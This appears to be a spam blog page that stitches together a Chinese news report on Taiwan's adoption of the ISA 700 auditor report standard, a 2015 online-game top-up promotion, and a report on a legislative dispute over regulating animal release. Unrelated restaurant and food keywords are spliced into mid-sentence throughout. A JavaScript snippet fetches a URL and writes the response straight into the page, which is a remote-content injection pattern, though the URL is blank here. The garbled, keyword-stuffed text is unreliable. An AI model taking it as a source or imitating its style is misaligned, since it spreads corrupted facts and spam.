close


工商時報【彭禎伶╱台北報導】

今年3月看上市櫃公司年報,記得仔細看目錄之後的「會計師查核報告」。金管會19日公布,我國已接軌國際審計準則ISA700及相關公報,即從今年3月要公告的上市櫃公司年度財報開始適用,會計師必須強化與公司溝通,且要揭露「關鍵查核事項」。

證期局副局長張振山表示,各行業的關鍵查核事項(KAM)都有一定的定義,且由會計師依其專業去判斷哪些事項會影響公司營運、獲利及財報準確度,揭露出來後,要說明自己如何查核,且公司是否提供足夠的證據及說明,對公司未來營運是否會產生重大疑慮等。

例如先前的樂陞案,其無形資產價值即影響其公司價值,會計師就應在其查核報告中列明;另外會計師也要揭露相關查帳風險,例如公司可能有過多庫存,究竟是自家生產商品還是寄銷商品,公司財報是否允當表示;同時行業風險,未來是否有重大事件可能影響公司營運等,都要適當揭露。

張振山表示,現在財報裡的「會計師查核報告」大部分都是制式化,大約三段,表達財報是否允當表達、安格斯牛肉片無不實內容等;今年3月可能會增加為7段,且各家公司因為關鍵查核事項不同,內容也會有所不同,投資人可以仔細看一下此查核報告,了解相關風險。

金管會表示,國際審計準則委員會在2015年1月就修正會計師查核報告及相關公報,國內上市櫃公司是從2016年的年度財報,也就是今年3月公告的部分先適用;若是興櫃公司及未上市櫃公司則是第二階段適用,是2018年4月公告的2017年年報開始採用,未上市櫃公司可以不揭露關鍵查核事項。

新式會計師查核報告與現行的三大不同,一是第一段就要明確說明會計師的查核意見,有沒有允當表達或不實表達;二是增加揭露關鍵查核事項,及採用的因應查核程序;三是敘明會計師與公司管理階層、治理單位(即審計委員會、獨董)的責任,要求公司治理單位須與會計師加強溝通。

金管會強調,這是提高查帳報告的透明度,也強化會計師與公司經營團隊、獨董等的溝通,揭露可能影響公司營運的重大風險及相關查帳風險。





海鮮吃到飽 台中活動時間:2015年2月烤肉食材 花蓮6日0點至2015年2月7日23點59分

活動參與服:開服7天以上的伺服器

活動內容:活動時間內每天儲值達到指定金額,即可獲得對應獎勵

溫馨提示:使用web-atm手機銀行儲值均可獲得元寶加碼喔^^

儲值金汐止 燒烤推薦額(台幣)

獎勵內容

1000~2999

幸運抽獎券*30,龍紋玉*50

3000~4999

橙魂*3000,修為*10萬

5000以上

福祿新裝升階捲軸*1或者福祿戒指升階捲軸*1或者橙魂*1萬,修為*20萬

獎勵發放:儲值後1至2個工作日將直接發放到角色

活動備註:

1、活動時間內每天可以獲得一次獎勵,即活動時間內最多可獲得2次獎勵

2、達到單日儲值5000台幣的玩家,請於當天或次日,與伺服器GM聯繫,可選擇福祿新裝升階捲軸*1或者福祿戒指升階捲軸*1或者橙魂*1萬,修為*20萬;如果逾期未進行選擇,則統一發放橙魂*1萬,修為*20萬

3、活動各檔次獎勵不疊加,如當天儲值達到6000台幣,可獲得5000檔次的其中一個獎勵

4、每天儲值獎勵會在1到2個工作日內發放好遊戲不囉嗦!點我直接玩!



《NiceGame》遊戲中心 營運團隊 敬上

2015-02-06















function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}

var theUrl = '';

document.write(httpGet(theUrl));

網搜小組/綜合報導

民間許多以「功德」為名的放生活動,卻造成外來種破壞生態環境,因此有眾多聲浪支持修正法規,嚴加管制不當放生。行政機關原計在本次會期中修法加嚴約束,卻在上周五(3日)的黨團協商中受阻,民進黨立委林岱樺認為「隨機、個人」的放生是基於好意,應給予教育和輔導,而非一昧懲處,替放生者另闢蹊徑。

▲民間團體的放生行為其實無形中已經造成對生態的危害,需要透過修法嚴加約束。(圖/東森南投 燒烤推薦新聞提供)

民進黨立委林岱樺於黨團協商時指出野保法第32及46條所牽扯到對於「放生」行為的規範,表示「放生需要科學專業,一般民眾其實沒有能力去判斷該物種是否屬於野保法管轄範圍,因此必須設有中繼站之類的專責機構」,並強調身為主管機關的林務局責無旁貸,主張保留32條現行條文,但增加「為符授權明確性原則,野生動物釋放之程序(含通報、收容)、種類、數量、區域及其他應遵行事項之辦法,授權中央主管機關訂定辦法規範之事項」、「在主管機關尚未完備上述之辦法擬訂時,野生動物釋放者,一律向農委會及各地方政府所轄管或委託之救傷收容中心通報及收容」兩項說明。

本次會期中,行政院提出的修正版本為將現行法規中《野生動物保育法》第32條,規範放生行為的第一款修正為「釋放經飼養之野生動物者,應經主管機關同意,使得為之。但其他法律另有規定者,從其規定。」意即放生物種若受《動物保護法》規範的犬貓、寵物及實驗動物、《畜牧法》規範的經濟動物、《漁業法》規範之海洋經濟動物等等,皆從其規定,而根據第46條規範,違反者可處新台幣5萬元以上,25萬元以下罰鍰,如果有破壞生態系之虞者,處新台幣50萬元以上,250萬元以下罰鍰。

林岱樺主張對初犯者不罰,但「應接受6小時環境生態教育」,強調「放生的人是善良的人,保護動物的也是善良的人」,更進一步舉例說明,一般民眾若和朋友去海產店,看到魚覺得可憐,想買下來放生,但按照現行法令應該要先確定這條魚可不可以放生,照野保法第46條規定,必須事先告知,但這樣起心動念的憐憫是隨機的,事先通報有一定的困難,並說:「我怎麼知道我要去哪一家餐廳?我要通報,你要告訴我可以去哪裡放,或是魚出來要怎麼運,這是主管機關的專業,是你要輔導的。」

▲民進黨立委林岱樺認為「隨機、個人」的放生是基於好意,應給予教育和輔導,但有許多網友與環保人士並不認同。(圖/翻攝自立委林岱樺臉書粉絲專頁,下同)

雖然林岱樺再三強調,「反對商業性的放生,甚至要嚴予重罰」,並主張自己的方案是與動保團體、環保團體一起擬定的,但依然遭到同為民進黨籍的其他立委反對,立委陳曼麗就對行政院的版本表達支持,認為放生者是否為初犯、立意良善等等都是難以界定的,以認購棲地來取代放生行為都是更妥善的。

無論民進黨立委之間如何意見分歧,立委林岱樺這番對於「放生」行為的言論已經引取許多環保與動保人士的討論,更有不少網友直接湧入林岱樺的臉書粉絲專頁留言,希望她能夠再思考,「放生對於生態破壞的嚴重性,並不是放生者的無知能彌補的。」










81E69A22846E08FF
arrow
arrow

    mooreq2152jyn 發表在 痞客邦 留言(0) 人氣()